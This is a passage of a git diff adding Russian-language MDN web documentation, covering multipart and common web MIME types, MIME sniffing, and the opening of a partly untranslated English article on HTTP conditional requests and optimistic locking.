+ <dd>Изображения или графические данные, включая векторную и растровую графику, а так же анимированные версии форматов неподвижных изображений, таких как  <a href="https://developer.mozilla.org/en-US/docs/Glossary/GIF" title="GIF: GIF (Graphics Interchange Format) is an image format that uses lossless compression and can be used for animations. A GIF uses up to 8 bits per pixel and a maximum of 256 colors from the 24-bit color space.">GIF</a> или APNG. Распространённые примеры включают <code>image/</code><code>jpeg</code>, <code>image</code><code>/</code><code>png</code> и <code>image</code><code>/</code><code>svg</code><code>+</code><code>xml</code>.</dd>
+ <dt><code>model</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#model" style="float: right;">Список IANA</a></dt>
+ <dd>Данные моделей для 3D объектов или сцен. Примеры: <code>model/3mf</code> и <code>model/vml</code>.</dd>
+ <dt><code>text</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#text" style="float: right;">Список IANA</a></dt>
+ <dd>Любые текстовые данные, так или иначе доступные для чтения человеку, а так же  исходный код или текстовые данные для программ. Примеры: <code>text</code><code>/</code><code>plain</code>, <code>text</code><code>/</code><code>csv</code> и <code>text</code><code>/</code><code>html</code>.</dd>
+ <dt><code>video</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#video" style="float: right;">Список IANA</a></dt>
+ <dd>Видео данные или файлы. Например, MP4 фильмы (<code>video</code><code>/</code><code>mp</code><code>4</code>).</dd>
+</dl>
+
+<p>Любые текстовые документы без определённого подтипа стоит отправлять, как  <code>text/plain</code> тип. Аналогичным образом,  <code>application/octet-stream</code> тип подойдёт бинарным документам при неопределённом или неизвестном подтипе.</p>
+
+<h4 id="Многокомпонентные_типы">Многокомпонентные типы</h4>
+
+<p><em>Многокомпонентные</em> типы описывают категории разграниченных на части документов, где каждая из частей может иметь свой отдельный MIME тип. При работе с электронными письмами, они могут использоваться для описания нескольких отдельных файлов, передаваемых в одном сообщении. Они представляют <strong>составные документы</strong>.</p>
+
+<p>За исключением <code>multipart/form-data</code> типа, используемого в {{HTTPMethod("POST")}} методе <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>, и <code>multipart/byteranges</code> типа, используемом в ответе {{HTTPStatus("206")}} <code>Partial Content</code> для отправки части документа, HTTP никаким особым образом не обрабатывает многокомпонентные типы, и просто отправляет данные в браузер (который, с большой вероятностью, предложит сохранить переданный файл, тоже не зная как его обработать).</p>
+
+<p>Существуют два многокомпонентных типа:</p>
+
+<dl>
+ <dt><code>message</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#message" style="float: right;">Список IANA</a></dt>
+ <dd>Сообщение, включающее в себя другие сообщения. Этот тип может использоваться, например, для представления сообщения, которое включают в себя другое переадресованное сообщение, как часть данных, или для отправки больших сообщений по частям, как если бы каждое сообщение отправлялось отдельно. Примеры включают <code>message</code><code>/</code><code>rfc</code><code>822</code> (для переадресованных или цитируемых сообщений) и  <code>message</code><code>/</code><code>partial</code> для автоматического разделения одного большого сообщения на несколько небольших и их последующей сборки на стороне получателя.</dd>
+ <dt><code>multipart</code> <a href="https://www.iana.org/assignments/media-types/media-types.xhtml#multipart" style="float: right;">Список IANA</a></dt>
+ <dd>Данные составленные из нескольких компонентов, каждый из которых может иметь отдельный MIME тип. Примеры включают  <code>multipart</code><code>/</code><code>form</code><code>-</code><code>data</code> (для данных созданных с помощью {{domxref("FormData")}} API) и <code>multipart</code><code>/</code><code>byteranges</code> (определённого в {{RFC(7233, "5.4.1")}} и используемого в ответах {{Glossary("HTTP")}} {{HTTPStatus(206)}} "Partial Content", когда запрашиваемые данные возвращаются по частям в нескольких сообщениях, как например, при использовании заголовка {{HTTPHeader("Range")}}).</dd>
+</dl>
+
+<h2 id="Важные_для_Web-разработчиков_MIME_типы"><strong>Важные для Web-разработчиков MIME типы</strong></h2>
+
+<h3 id="applicationoctet-stream">application/octet-stream</h3>
+
+<p>Этот тип является базовым для бинарных данных. В связи с тем, что он подразумевает<em> неопределённые бинарные</em> данные, браузеры, как правило, не будут пытаться его обработать каком-либо образом, а вызовут для него диалоговое окно «Сохранить Как», как если бы заголовок ответа {{HTTPHeader("Content-Disposition")}} имел значение <code>attachment</code>.</p>
+
+<h3 id="textplain">text/plain</h3>
+
+<p>Этот тип является базовым для текстовых файлов. Несмотря на то, что он означает "неопределённые текстовые данные", браузеры всё равно могут его отображать.</p>
+
+<div class="note">
+<p><strong>Заметьте:</strong> <code>text/plain</code> не означает "любой вид текстовых данных". Если браузер ожидает получения какого-то конкретного типа текстовых данных, то с большой вероятностью он не будет считать <code>text/plain</code> подходящим типом. Например, при загрузке <code>text/plain</code> документа через {{HTMLElement("link")}} элемент, браузер не будет его признать правильным CSS файлом и использовать для применения стилей. Только <code>text/css</code> тип должен использоваться для загрузки CSS документов.</p>
+</div>
+
+<h3 id="textcss">text/css</h3>
+
+<p>CSS документы, используемые для стилизации web-страниц <strong>должны</strong> отправляться, как <code>text/css</code> тип. Большинство браузеров не смогут распознавать CSS документы, загруженные с отличным от <code>text/css</code> MIME типом.</p>
+
+<h3 id="texthtml">text/html</h3>
+
+<p>Все HTML данные должны пересылаться с данным типом. Альтернативные MIME типы для XHTML (например, <code>application/xhtml+xml</code>) почти не используются в настоящее время.</p>
+
+<div class="note">
+<p><strong>Заметьте:</strong> Используйте <code>application/xml</code> или <code>application/xhtml+xml</code>, когда вам необходим строгий синтаксический анализ документов, разделы <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/CDATASection">&lt;![CDATA[…]]&gt;</a></code> или элементы, не принадлежащие к пространствам имён HTML/SVG/MathML.</p>
+</div>
+
+<h3 id="textjavascript">text/javascript</h3>
+
+<p>Согласно HTML спецификации: при пересылке JavaScript файлов, всегда должен использоваться MIME тип <code>text/javascript</code>.</p>
+
+<p>По исторически сложившимся причинам, <a href="https://mimesniff.spec.whatwg.org/">MIME Sniffing Standard</a> (стандарт, определяющий, как браузеры должны интерпретировать медиа типы и выяснять, как обрабатывать данные при неправильно заданных медиа типах) позволяет серверам отправлять JavaScript документы, используя один из нижеперечисленных типов:</p>
+
+<ul>
+ <li><code>application/javascript</code></li>
+ <li><code>application/ecmascript</code></li>
+ <li><code>application/x-ecmascript</code> {{Non-standard_Inline}}</li>
+ <li><code>application/x-javascript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript</code></li>
+ <li><code>text/ecmascript</code></li>
+ <li><code>text/javascript1.0</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.1</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.2</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.3</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.4</code> {{Non-standard_Inline}}</li>
+ <li><code>text/javascript1.5</code> {{Non-standard_Inline}}</li>
+ <li><code>text/jscript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/livescript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/x-ecmascript</code> {{Non-standard_Inline}}</li>
+ <li><code>text/x-javascript</code> {{Non-standard_Inline}}</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Заметьте:</strong> Несмотря на то, что некоторые {{Glossary("user agent")}} могут поддерживать какие-то из вышеперечисленных типов, вы всегда должны использовать <code>text</code><code>/</code><code>javascript</code>. Это единственный MIME тип, который гарантированно будет работать в настоящее время и в будущем.</p>
+</div>
+
+<p>Иногда вы можете заметить использование <code>text/javascript</code> MIME типа в связке с параметром <code>charset</code>, для уточнения кодировки, в которой был написан файл. Такое определение MIME типа является неправильным, и в большинстве случаев браузеры не станут загружать скрипт, передаваемый с таким типом.</p>
+
+<h3 id="Типы_изображений">Типы изображений</h3>
+
+<p>Файлы, MIME типом которых является <code>image</code>, содержат в себе данные изображений. Подтип определяет, какой конкретный формат изображения представлен в данных.</p>
+
+<p>Лишь несколько типов изображений достаточно распространены, чтобы безопасно использоваться на веб-страницах.</p>
+
+<p>{{page("ru/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}</p>
+
+<h3 id="Аудио_и_видео_типы">Аудио и видео типы</h3>
+
+<p>Так же как в случае с изображениями, стандарт HTML не обязывает браузеры поддерживать какие-либо определённые форматы и кодеки для   {{HTMLElement("audio")}} и {{HTMLElement("video")}} элементов, так что при их выборе, важно брать в расчёт целевую аудиторию и диапазон браузеров (а так же версии этих браузеров), которые она может использовать.</p>
+
+<p>Наше <a href="https://developer.mozilla.org/ru/docs/Web/Media/Formats/Containers">руководство по медиа форматам</a> предоставляет список общепринятых типов, включая информацию об особых случаях при их использовании, их недостатках, совместимости, а так же других деталях.</p>
+
+<p>Руководства по <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Audio_codecs">аудио</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Video_codecs">видео</a> кодекам перечисляют часто поддерживаемые браузерами кодеки, предоставляя детали по их совместимости и техническую информацию, например как много аудио каналов они поддерживают, какой тип сжатия используют, и так далее. Руководство по <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/WebRTC_codecs">используемым в WebRTC кодекам</a> развивает эту тему ещё дальше, конкретно описывая кодеки, поддерживаемые популярными браузерами, так чтобы вы могли выбрать кодеки, которые имеют наилучшую поддержку в диапазоне браузеров по вашему выбору.</p>
+
+<p>Что касается MIME типов для аудио и видео файлов, то чаще всего они указывают на формат контейнера (тип файла). Необязательный <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр <code>codecs</code></a> может быть добавлен к MIME типу для более точного указания, какой кодек и параметры использовались для пересылаемого файла.</p>
+
+<p>Ниже перечислены наиболее часто используемые на веб-страницах MIME типы. Обратите внимание, что это не полный перечень всех доступных типов. Более полный список поддерживаемых форматов может быть наеден в <a href="https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Containers">руководстве по медиа форматам</a>.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">MIME тип</th>
+ <th scope="col">Аудио или видео тип</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/wave</code><br>
+ <code>audio/wav</code><br>
+ <code>audio/x-wav</code><br>
+ <code>audio/x-pn-wav</code></td>
+ <td>Аудио файл WAVE формата. С PCM аудио кодеком (WAVE кодек "1"), считающимся наиболее поддерживаемым, а так же другими, имеющими ограниченную поддержку.</td>
+ </tr>
+ <tr>
+ <td><code>audio/webm</code></td>
+ <td>Аудио файл формата WebM. С Vorbis и Opus официально поддерживаемыми WebM спецификацией аудио кодеками.</td>
+ </tr>
+ <tr>
+ <td><code>video/webm</code></td>
+ <td>Видео файл, с возможной аудио дорожкой, формата WebM. С VP8 и VP9, как наиболее распространёнными видео кодеками; Vorbis и Opus, как наиболее распространёнными аудио кодеками.</td>
+ </tr>
+ <tr>
+ <td><code>audio/ogg</code></td>
+ <td>Аудио файл формата OGG. С Vorbis, как наиболее распространённым аудио кодеком. Хотя на данный момент имеется поддержка и Opus кодека.</td>
+ </tr>
+ <tr>
+ <td><code>video/ogg</code></td>
+ <td>Видео файл, с возможной аудио дорожкой, в формате OGG. Где Theora –  наиболее часто встречающийся видео кодек и Vorbis - наиболее часто встречающийся аудио кодек. Хотя использование кодека Opus становится всё более распространённым.</td>
+ </tr>
+ <tr>
+ <td><code>application/ogg</code></td>
+ <td>Аудио или видео формата OGG. Где Theora –  наиболее часто встречающийся видео кодек и Vorbis - наиболее часто встречающийся аудио кодек.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data">multipart/form-data</h3>
+
+<p><code>multipart/form-data</code> тип может быть использован при отправке значений из  заполненной <a href="https://wiki.developer.mozilla.org/ru/docs/Web/Guide/HTML/Forms">HTML Формы</a> на сервер.</p>
+
+<p>Как многокомпонентный тип документа, он состоит из различных частей, разделённых специальной границей (строкой, начинающейся с двух чёрточек <code>--</code>), где каждая часть представляет собой отдельную сущность и имеет отдельные HTTP заголовки {{HTTPHeader("Content-Disposition")}} и {{HTTPHeader("Content-Type")}} для загружаемых файлов.</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aBoundaryString
+(other headers associated with the multipart document as a whole)
+
+--aBoundaryString
+Content-Disposition: form-data; name="myFile"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--aBoundaryString
+Content-Disposition: form-data; name="myField"
+
+(data)
+--aBoundaryString
+(more subparts)
+--aBoundaryString--
+
+</pre>
+
+<p>Следующая форма <code>&lt;form&gt;</code>:</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+ &lt;label&gt;Name: &lt;input name="myTextField" value="Test"&gt;&lt;/label&gt;
+ &lt;label&gt;&lt;input type="checkbox" name="myCheckBox"&gt; Check&lt;/label&gt;
+ &lt;label&gt;Upload file: &lt;input type="file" name="myFile" value="test.txt"&gt;&lt;/label&gt;
+ &lt;button&gt;Send the file&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>отправит сообщение:</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myTextField"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myFile"; filename="test.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges">multipart/byteranges</h3>
+
+<p><code>multipart/byteranges</code> MIME тип используется для отправки данных в браузер по частям.</p>
+
+<p>При отправке кода состояния {{HTTPStatus("206")}} <code>Partial Content</code>, этот MIME тип будет означать, что документ состоит из нескольких частей, по одной для каждого отдельно запрашиваемого диапазона. Аналогично с остальными многокомпонентными типами, заголовок {{HTTPHeader("Content-Type")}} используется для объявления границы <code>boundary</code>, разделяющей документ на отдельные компоненты. Каждый компонент имеет заголовок {{HTTPHeader("Content-Type")}}, описывающий тип сегмента данных, и {{HTTPHeader("Content-Range")}}, описывающий его диапазон.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+ &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+ margin: 0;
+ padding: 0;
+ font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="Важность_задания_правильного_MIME_типа"><strong>Важность задания правильного </strong><strong>MIME</strong> <strong>типа</strong></h2>
+
+<p>Большинство серверов отправляет ресурсы неопределённого типа, как <code>application/octet-stream</code> MIME тип. Большинство же браузеров, в целях безопасности, не позволяет их никак обрабатывать, вынуждая пользователя сохранять их на жёсткий диск, для дальнейшего использования.</p>
+
+<p>Несколько советов по правильной настройке MIME типов на серверах:</p>
+
+<ul>
+ <li>RAR-сжатые файлы. В этом случае самым правильным вариантом было бы задать тип изначального ресурса; но это не всегда выполнимо, так как .RAR файлы могут хранить в себе несколько типов данных. Тогда, настройте сервер на отправку <code>application/x-rar-compressed</code> MIME типа вместе с RAR ресурсами.</li>
+ <li>Аудио и видео. Только ресурсы с правильно заданными MIME типами могут производиться в {{HTMLElement("video")}} и {{HTMLElement("audio")}} элементах. Убедитесь, что вы <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">используете правильные типы для аудио и видео данных</a>.</li>
+ <li>Запатентованные типы файлов. Избегайте использования <code>application/octet-stream</code> при их отправке, так как большинство браузеров не позволит определять способы обработки (например, "Открыть в Word") для этого базового MIME типа. Используйте специальные типы, например <code>application/vnd.mspowerpoint</code>, чтобы позволить пользователям открывать загруженный ресурс в программе по их выбору.</li>
+</ul>
+
+<h2 id="MIME_sniffing">MIME sniffing</h2>
+
+<p>В отсутствии заданного MIME типа, или в определённых случаях, когда браузеры полагают, что MIME тип задан неправильно, они могут выполнять <em>MIME<strong> </strong>sniffing</em> — попытку угадать правильный MIME тип, анализируя характеристики ресурса.</p>
+
+<p>Каждый браузер выполняет MIME sniffing по-своему и при разных условиях (например, Safari будет смотреть на расширение файла, если переданный MIME тип является неподходящим для документа). В этих случаях могут присутствовать опасения по поводу безопасности, так как некоторые MIME типы представляют исполняемые файлы. Сервера имеют возможность предотвращать MIME sniffing, отправляя {{HTTPHeader("X-Content-Type-Options")}} заголовок ответа.</p>
+
+<h2 id="Другие_методы_сообщения_о_типе_ресурса"><strong>Другие методы сообщения о типе ресурса</strong></h2>
+
+<p>MIME типы не являются единственным способом сообщения типа документа:</p>
+
+<ul>
+ <li>Суффиксы в названиях файлов могут указывать на тип документа, главным образом на Microsoft Windows. Но не все операционные системы могут считать их имеющими смысл (например, Linux или MacOS). А так же нет никакой гарантии, что они будут указывать на правильный тип.</li>
+ <li>Магические числа. Синтаксисы различных форматов позволяют узнавать их тип, через анализ их структуры байтов. Например, GIF файлы начинаются с <code>47 49 46 38 39</code> шестнадцатеричного значения (<code>GIF89</code>), а PNG файлы с <code>89 50 4E 47</code> (<code>.PNG</code>). Опять же, не все типы документов имеют магические числа, так что этот подход так же не надёжен на 100%.</li>
+</ul>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/Media">Медиа технологии в web</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/Media/Formats">Руководство по медиа типам и форматам в web</a></li>
+ <li>
+ <p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Настраивание MIME типов на стороне сервера</a></p>
+ </li>
+</ul>
+
+<div>{{HTTPSidebar}}</div>
diff --git a/files/ru/web/http/conditional_requests/index.html b/files/ru/web/http/conditional_requests/index.html
new file mode 100644
index 0000000000..547d4a80af
--- /dev/null
+++ b/files/ru/web/http/conditional_requests/index.html
@@ -0,0 +1,144 @@
+---
+title: Условные HTTP запросы
+slug: Web/HTTP/Conditional_requests
+translation_of: Web/HTTP/Conditional_requests
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary">В HTTP есть понятие <em>условных запросов</em>, в которых результат, и даже успех запрос, могут быть изменены с помощью сравнения затронутых ресурсов со значением <em>валидатора</em>. Такие запросы могут быть полезными для валидации контента в кеше, и избавления от бесполезного контроля, чтобы проверить целостность документа, например, пока длится загрузка, или пока предовращается потеря обновлений, пока выгружаются или изменяются файлы на сервере.</p>
+
+<h2 id="Принципы">Принципы</h2>
+
+<p>Условные запросы HTTP это запросы, которые выполняся по разному, в зависимости значения особых заголовков. Эти заголовки определяют предусловие, и результат запроса будет разным, если условие согласовано или нет.</p>
+
+<p>Отличие в поведении определяется используемым методом, и набором заголовков для предусловий:</p>
+
+<ul>
+ <li>для {{glossary("safe", "безопасных")}} методов, например как {{HTTPMethod("GET")}}, который обычно используется, чтобы получить документ, условный запрос отправит документ только если это уместно. Следовательно, это расширит пропускную способность.</li>
+ <li>для {{glossary("safe", "небезопасных")}} методов, например {{HTTPMethod("PUT")}}, который обычно используется для выгрузки документа на сервер, условный запрос загрузит документ, только если оригинал, на котором он основан, хранится на сервере.</li>
+</ul>
+
+<h2 id="Validators">Validators</h2>
+
+<p>All conditional headers try to check if the resource stored on the server matches a specific version. To achieve this, the conditional requests need to indicate the version of the resource. As comparing the whole resource byte to byte is impracticable, and not always what is wanted, the request transmits a value describing the version. Such values are called <em>validators</em>, and are of two kinds:</p>
+
+<ul>
+ <li>the date of last modification of the document, the <em>last-modified</em> date.</li>
+ <li>an opaque string, uniquely identifying each version, called the <em>entity tag</em>, or the <em>etag</em>.</li>
+</ul>
+
+<p>Comparing versions of the same resource is a bit tricky: depending on the context, there are two kinds of <em>equality checks</em>:</p>
+
+<ul>
+ <li><em>Strong validation</em> is used when byte to byte identity is expected, for example when resuming a download.</li>
+ <li><em>Weak validation</em> is used when the user-agent only needs to determine if the two resources have the same content. This is even if they are minor differences; like different ads, or a footer with a different date.</li>
+</ul>
+
+<p>The kind of validation is independent of the validator used. Both {{HTTPHeader("Last-Modified")}} and {{HTTPHeader("ETag")}} allow both types of validation, though the complexity to implement it on the server side may vary. HTTP uses strong validation by default, and it specifies when weak validation can be used.</p>
+
+<h3 id="Strong_validation">Strong validation</h3>
+
+<p id="sect1">Strong validation consists of guaranteeing that the resource is, byte to byte, identical to the one it is compared too. This is mandatory for some conditional headers, and the default for the others. Strong validation is very strict and may be difficult to guarantee at the server level, but it does guarantee no data loss at any time, sometimes at the expense of performance.</p>
+
+<p>It is quite difficult to have a unique identifier for strong validation with {{HTTPHeader("Last-Modified")}}. Often this is done using an {{HTTPHeader("ETag")}} with the MD5 hash of the resource (or a derivative).</p>
+
+<h3 id="Weak_validation">Weak validation</h3>
+
+<p>Weak validation differs from strong validation, as it considers two versions of the document as identical if the content is equivalent. For example, a page that would differ from another only by a different date in its footer, or different advertising, would be considered <em>identical</em> to the other with weak validation. These same two versions are considered <em>different</em> when using strong validation. Building a system of etags that creates weak validation may be complex, as it involves knowing the importance of the different elements of a page, but is very useful towards optimizing cache performance.</p>
+
+<h2 id="Conditional_headers">Conditional headers</h2>
+
+<p>Several HTTP headers, called conditional headers, lead to conditional requests. These are:</p>
+
+<dl>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("ETag")}} of the distant resource is equal to one listed in this header. By default, unless the etag is prefixed with <code>'W/'</code>, it performs a strong validation.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("ETag")}} of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with <code>'W/'</code>, it performs a strong validation.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("Last-Modified")}} date of the distant resource is more recent than the one given in this header.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Succeeds if the {{HTTPHeader("Last-Modified")}} date of the distant resource is older or the same than the one given in this header.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Similar to {{HTTPHeader("If-Match")}}, or {{HTTPHeader("If-Unmodified-Since")}}, but can have only one single etag, or one date. If it fails, the range request fails, and instead of a {{HTTPStatus("206")}} <code>Partial Content</code> response, a {{HTTPStatus("200")}} <code>OK</code> is sent with the complete resource.</dd>
+</dl>
+
+<h2 id="Use_cases">Use cases</h2>
+
+<h3 id="Cache_update">Cache update</h3>
+
+<p>The most common use case for conditional requests is updating a cache. With an empty cache, or without a cache, the requested resource is sent back with a status of {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p>
+
+<p>Together with the resource, the validators are sent in the headers. In this example, both {{HTTPHeader("Last-Modified")}} and {{HTTPHeader("ETag")}} are sent, but it could equally have been only one of them. These validators are cached with the resource (like all headers) and will be used to craft conditional requests, once the cache becomes stale.</p>
+
+<p>As long as the cache is not stale, no requests are issued at all. But once it has become stale, this is mostly controlled by the {{HTTPHeader("Cache-Control")}} header, the client doesn't use the cached value directly but issues a <em>conditional request</em>. The value of the validator is used as a parameter of the {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Match")}} headers.</p>
+
+<p>If the resource has not changed, the server sends back a {{HTTPStatus("304")}} <code>Not Modified</code> response. This makes the cache fresh again, and the client uses the cached resource. Although there is a response/request round-trip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again.</p>
+
+<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p>
+
+<p>If the resource has changed, the server just sends back a {{HTTPStatus("200")}}<code> OK</code> response, with the new version of the resource, like if the request wasn't conditional and the client use this new resource (and caches it).</p>
+
+<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p>
+
+<p>Besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by Web developers.</p>
+
+<h3 id="Integrity_of_a_partial_download">Integrity of a partial download</h3>
+
+<p>Partial downloading of files is a functionality of HTTP that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information:</p>
+
+<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/13735/HTTPResume1.png" style="height: 397px; width: 764px;"></p>
+
+<p>A server supporting partial downloads broadcasts this by sending the {{HTTPHeader("Accept-Ranges")}} header. Once this happens, the client can resume a download by sending a {{HTTPHeader("Ranges")}} header with the missing ranges:</p>
+
+<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p>
+
+<p>The principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted.</p>
+
+<p>To prevent this, conditional requests are used. For ranges, there are two ways of doing this. The more flexible one makes use of {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Match")}} and the server returns an error if the precondition fails; the client then restarts the download from the beginning:</p>
+
+<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p>
+
+<p>Even if this method works, it adds an extra response/request exchange when the document has been changed. This impairs performance, and HTTP has a specific header to avoid this scenario: {{HTTPHeader("If-Range")}}:</p>
+
+<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p>
+
+<p>This solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. Rarely is such additional flexibility needed.</p>
+
+<h3 id="Avoiding_the_lost_update_problem_with_optimistic_locking">Avoiding the lost update problem with optimistic locking</h3>
+
+<p>A common operation in Web applications is to <em>update</em> a remote document. This is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. Common Web sites, like wikis and other CMS, have such a need.</p>
+
+<p>With the {{HTTPMethod("PUT")}} method you are able to implement this. The client first reads the original files, modifies them, and finally pushes them to the server:</p>
+
+<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p>
+
+<p>Unfortunately, things get a little inaccurate as soon as we take into account concurrency. While a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. What happens next is very unfortunate: when they commit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. The decision on who wins, is not communicated to the other party. Which client's changes are to be kept, will vary with the speed they commit; this depends on the performance of the clients, of the server, and even of the human editing the document at the client. The winner will change from one time to the next. This is a {{glossary("race condition")}} and leads to problematic behaviors, which are difficult to detect and to debug:</p>
+
+<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p>
+
+<p>There is no way to deal with this problem without annoying one of the two clients. However, lost updates and race conditions are to be avoided. We want predictable results, and expect that the clients are notified when their changes are rejected.</p>
+
+<p>Conditional requests allow implementing the <em>optimistic locking algorithm</em> (used by most wikis or source control systems). The concept is to allow all clients to get copies of the resource, then let them modify it locally, controlling concurrency by successfully allowing the first client submitting an update. All subsequent updates, based on the now obsolete version of the resource, are rejected:</p>
+
+<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p>
+
+<p>This is implemented using the {{HTTPHeader("If-Match")}} or {{HTTPHeader("If-Unmodified-Since")}} headers. If the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a {{HTTPStatus("412")}} <code>Precondition Failed</code> error. It is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a <em>diff </em>of both versions, helping them decide which changes they wish to keep.</p>
+
+<h3 id="Dealing_with_the_first_upload_of_a_resource">Dealing with the first upload of a resource</h3>
+
+<p>The first upload of a resource is an edge case of the previous. Like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. To prevent this, conditional requests can be used: by adding {{HTTPHeader("If-None-Match")}} with the special value of <code>'*'</code>, representing any etag. The request will succeed, only if the resource didn't exist before:</p>
+
+<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p>
+
+<p><code>If-None-Match</code> will only work with HTTP/1.1 (and later) compliant servers. If unsure if the server will be compliant, you need first to issue a {{HTTPMethod("HEAD")}} request to the resource to check this.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
